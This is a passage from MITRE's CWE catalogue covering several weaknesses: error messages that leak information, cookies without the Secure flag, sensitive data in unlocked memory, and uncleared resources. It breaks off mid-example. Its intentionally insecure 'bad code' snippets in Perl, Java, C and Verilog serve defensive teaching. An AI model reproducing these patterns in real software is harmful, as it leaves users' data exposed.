Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignCOMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Bypass Protection Mechanism

+ Observed Examples
ReferenceDescription
Attacker can select an older version of the software to exploit its vulnerabilities.
Improper prioritization of encryption ciphers during negotiation leads to use of a weaker cipher.
chain: SSL/TLS implementation disables a verification step (CWE-325) that enables a downgrade attack to a weaker protocol.
Telnet protocol implementation allows downgrade to weaker authentication and encryption using an Adversary-in-the-Middle AITM attack.
SSH server implementation allows override of configuration setting to use weaker authentication schemes. This may be a composite with CWE-642.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.957SFP Secondary Cluster: Protocol Error
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1346OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1413Comprehensive Categorization: Protection Mechanism Failure
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

This is related to CWE-300, although not all downgrade attacks necessarily require an entity that redirects or interferes with the network. See examples.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2009-03-03
(CWE 1.3, 2009-03-10)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2010-04-05CWE Content TeamMITRE
updated Related_Attack_Patterns
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2017-11-08CWE Content TeamMITRE
updated Modes_of_Introduction, Relationships
2019-06-20CWE Content TeamMITRE
updated Type
2020-02-24CWE Content TeamMITRE
updated Observed_Examples, Relationship_Notes, Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2021-07-20CWE Content TeamMITRE
updated Observed_Examples
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-210: Self-generated Error Message Containing Sensitive Information

Weakness ID: 210
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product identifies an error condition and creates its own diagnostic or error messages that contain sensitive information.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.209Generation of Error Message Containing Sensitive Information
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1016Limit Exposure
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

+ Demonstrative Examples

Example 1

The following code uses custom configuration files for each user in the application. It checks to see if the file exists on the system before attempting to open and use the file. If the configuration file does not exist, then an error is generated, and the application exits.

(bad code)
Example Language: Perl 
$uname = GetUserInput("username");


# avoid CWE-22, CWE-78, others.
if ($uname !~ /^\w+$/)
{
ExitError("Bad hacker!") ;
}

$filename = "/home/myprog/config/" . $uname . ".txt";
if (!(-e $filename))
{
ExitError("Error: $filename does not exist");
}

If this code is running on a server, such as a web application, then the person making the request should not know what the full pathname of the configuration directory is. By submitting a username that is not associated with a configuration file, an attacker could get this pathname from the error message. It could then be used to exploit path traversal, symbolic link following, or other problems that may exist elsewhere in the application.

+ Observed Examples
ReferenceDescription
Infoleak of sensitive information in error message (physical access required).
+ Potential Mitigations

Phases: Implementation; Build and Compilation

Strategy: Compilation or Build Hardening

Debugging information should not make its way into a production release.

Phases: Implementation; Build and Compilation

Strategy: Environment Hardening

Debugging information should not make its way into a production release.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1417Comprehensive Categorization: Sensitive Information Exposure
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERProduct-Generated Error Message Infoleak
Software Fault PatternsSFP23Exposed Data
+ References
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 12: Information Leakage." Page 191. McGraw-Hill. 2010.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 3, "Overly Verbose Error Messages", Page 75. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2009-12-28CWE Content TeamMITRE
updated Demonstrative_Examples
2010-06-21CWE Content TeamMITRE
updated Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Name, Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2012-10-30CWE Content TeamMITRE
updated Name, Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Other_Notes
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Functional_Areas, Modes_of_Introduction, Relationships
2020-02-24CWE Content TeamMITRE
updated Name, Relationships, Time_of_Introduction
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2011-03-29Product-Generated Error Message Information Leak
2012-10-30Information Exposure Through Generated Error Message
2020-02-24Information Exposure Through Self-generated Error Message

CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute

Weakness ID: 614
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The Secure attribute for sensitive cookies in HTTPS sessions is not set, which could cause the user agent to send those cookies in plaintext over an HTTP session.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.319Cleartext Transmission of Sensitive Information
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Technologies

Class: Web Based (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

+ Demonstrative Examples

Example 1

The snippet of code below, taken from a servlet doPost() method, sets an accountID cookie (sensitive) without calling setSecure(true).

(bad code)
Example Language: Java 
Cookie c = new Cookie(ACCOUNT_ID, acctID);
response.addCookie(c);
+ Observed Examples
ReferenceDescription
A product does not set the Secure attribute for sensitive cookies in HTTPS sessions, which could cause the user agent to send those cookies in plaintext over an HTTP session with the product.
A product does not set the secure flag for the session cookie in an https session, which can cause the cookie to be sent in http requests and make it easier for remote attackers to capture this cookie.
A product does not set the secure flag for the session cookie in an https session, which can cause the cookie to be sent in http requests and make it easier for remote attackers to capture this cookie.
A product does not set the secure flag for a cookie in an https session, which can cause the cookie to be sent in http requests and make it easier for remote attackers to capture this cookie.
+ Potential Mitigations

Phase: Implementation

Always set the secure attribute when the cookie should sent via HTTPS only.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.966SFP Secondary Cluster: Other Exposures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1349OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1402Comprehensive Categorization: Encryption
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2007-05-07
(CWE Draft 6, 2007-05-07)
Anonymous Tool Vendor (under NDA)
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Observed_Examples
2009-03-10CWE Content TeamMITRE
updated Name
2009-05-27CWE Content TeamMITRE
updated Related_Attack_Patterns
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Applicable_Platforms, Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-06-28CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Unset Secure Attribute for Sensitive Cookies in HTTPS Session

CWE-591: Sensitive Data Storage in Improperly Locked Memory

Weakness ID: 591
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product stores sensitive data in memory that is not locked, or that has been incorrectly locked, which might cause the memory to be written to swap files on disk by the virtual memory manager. This can make the data more accessible to external actors.
+ Extended Description
On Windows systems the VirtualLock function can lock a page of memory to ensure that it will remain present in memory and not be swapped to disk. However, on older versions of Windows, such as 95, 98, or Me, the VirtualLock() function is only a stub and provides no protection. On POSIX systems the mlock() call ensures that a page will stay resident in memory but does not guarantee that the page will not appear in the swap. Therefore, it is unsuitable for use as a protection mechanism for sensitive data. Some platforms, in particular Linux, do make the guarantee that the page will not be swapped, but this is non-standard and is not portable. Calls to mlock() also require supervisor privilege. Return values for both of these calls must be checked to ensure that the lock operation was actually successful.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.413Improper Resource Locking
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data; Read Memory

Sensitive data that is written to a swap file may be exposed.
+ Potential Mitigations

Phase: Architecture and Design

Identify data that needs to be protected from swapping and choose platform-appropriate protection mechanisms.

Phase: Implementation

Check return values to ensure locking operations are successful.
+ Affected Resources
  • Memory
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.729OWASP Top Ten 2004 Category A8 - Insecure Storage
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.742CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.876CERT C++ Secure Coding Section 08 - Memory Management (MEM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1401Comprehensive Categorization: Concurrency
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
OWASP Top Ten 2004A8CWE More SpecificInsecure Storage
CERT C Secure CodingMEM06-CEnsure that sensitive data is not written out to disk
Software Fault PatternsSFP23Exposed Data
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-12-15
(CWE Draft 5, 2006-12-15)
CWE Community
Submitted by members of the CWE community to extend early CWE versions
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-05-27CWE Content TeamMITRE
updated Description, Other_Notes
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Memory Locking

CWE-226: Sensitive Information in Resource Not Removed Before Reuse

Weakness ID: 226
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product releases a resource such as memory or a file so that it can be made available for reuse, but it does not clear or "zeroize" the information contained in the resource before the product performs a critical state transition or makes the resource available for reuse by other entities.
+ Extended Description

When resources are released, they can be made available for reuse. For example, after memory is de-allocated, an operating system may make the memory available to another process, or disk space may be reallocated when a file is deleted. As removing information requires time and additional resources, operating systems do not usually clear the previously written information.

Even when the resource is reused by the same process, this weakness can arise when new data is not as large as the old data, which leaves portions of the old data still available. Equivalent errors can occur in other situations where the length of data is variable but the associated data structure is not. If memory is not cleared after use, the information may be read by less trustworthy parties when the memory is reallocated.

This weakness can apply in hardware, such as when a device or system switches between power, sleep, or debug states during normal operation, or when execution changes to different users or privilege levels.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.212Improper Removal of Sensitive Information Before Storage or Transfer
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.459Incomplete Cleanup
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.244Improper Clearing of Heap Memory Before Release ('Heap Inspection')
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.1239Improper Zeroization of Hardware Register
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1272Sensitive Information Uncleared Before Debug/Power State Transition
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1301Insufficient or Incomplete Data Removal within Hardware Component
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1342Information Exposure through Microarchitectural State after Transient Execution
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.201Insertion of Sensitive Information Into Sent Data
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Hardware Design" (CWE-1194)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1202Memory and Storage Issues
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.1239Improper Zeroization of Hardware Register
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1342Information Exposure through Microarchitectural State after Transient Execution
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

+ Demonstrative Examples

Example 1

This example shows how an attacker can take advantage of an incorrect state transition.

Suppose a device is transitioning from state A to state B. During state A, it can read certain private keys from the hidden fuses that are only accessible in state A but not in state B. The device reads the keys, performs operations using those keys, then transitions to state B, where those private keys should no longer be accessible.

(bad code)
 

During the transition from A to B, the device does not scrub the memory.

After the transition to state B, even though the private keys are no longer accessible directly from the fuses in state B, they can be accessed indirectly by reading the memory that contains the private keys.

(good code)
 
For transition from state A to state B, remove information which should not be available once the transition is complete.

Example 2

The following code calls realloc() on a buffer containing sensitive data:

(bad code)
Example Language:
cleartext_buffer = get_secret();...
cleartext_buffer = realloc(cleartext_buffer, 1024);
...
scrub_memory(cleartext_buffer, 1024);

There is an attempt to scrub the sensitive data from memory, but realloc() is used, so it could return a pointer to a different part of memory. The memory that was originally allocated for cleartext_buffer could still contain an uncleared copy of the data.

Example 3

The following example code is excerpted from the AES wrapper/interface, aes0_wrapper, module of one of the AES engines (AES0) in the Hack@DAC'21 buggy OpenPiton System-on-Chip (SoC). Note that this SoC contains three distinct AES engines. Within this wrapper module, four 32-bit registers are utilized to store the message intended for encryption, referred to as p_c[i]. Using the AXI Lite interface, these registers are filled with the 128-bit message to be encrypted.

(bad code)
Example Language: Verilog 

module aes0_wrapper #(...)(...);
...
always @(posedge clk_i)
begin
if(~(rst_ni && ~rst_1)) //clear p_c[i] at reset
begin
start <= 0;
p_c[0] <= 0;
p_c[1] <= 0;
p_c[2] <= 0;
p_c[3] <= 0;
...
end
else if(en && we)
case(address[8:3])
0:
start <= reglk_ctrl_i[1] ? start : wdata[0];
1:
p_c[3] <= reglk_ctrl_i[3] ? p_c[3] : wdata[31:0];
2:
p_c[2] <= reglk_ctrl_i[3] ? p_c[2] : wdata[31:0];
3:
p_c[1] <= reglk_ctrl_i[3] ? p_c[1] : wdata[31:0];
4:
p_c[0] <= reglk_ctrl_i[3] ? p_c[0] : wdata[31:0];
...
endcase
end // always @ (posedge wb_clk_i)
endmodule

The above code snippet [REF-1402] illustrates an instance of a vulnerable implementation of the AES wrapper module, where p_c[i] registers are cleared at reset. Otherwise, p_c[i]registers either maintain their old values (if reglk_ctrl_i[3]is true) or get filled through the AXI signal wdata. Note that p_c[i]registers can be read through the AXI Lite interface (not shown in snippet). However, p_c[i] registers are never cleared after their usage once the AES engine has completed the encryption process of the message. In a multi-user or multi-process environment, not clearing registers may result in the attacker process accessing data left by the victim, leading to data leakage or unintentional information disclosure.

To fix this issue, it is essential to ensure that these internal registers are cleared in a timely manner after their usage, i.e., the encryption process is complete. This is illustrated below by monitoring the assertion of the cipher text valid signal, ct_valid [REF-1403].

(good code)
Example Language: Verilog 

module aes0_wrapper #(...)(...);
...
always @(posedge clk_i)
begin
if(~(rst_ni && ~rst_1)) //clear p_c[i] at reset
...
else if(ct_valid) //encryption process complete, clear p_c[i]
begin
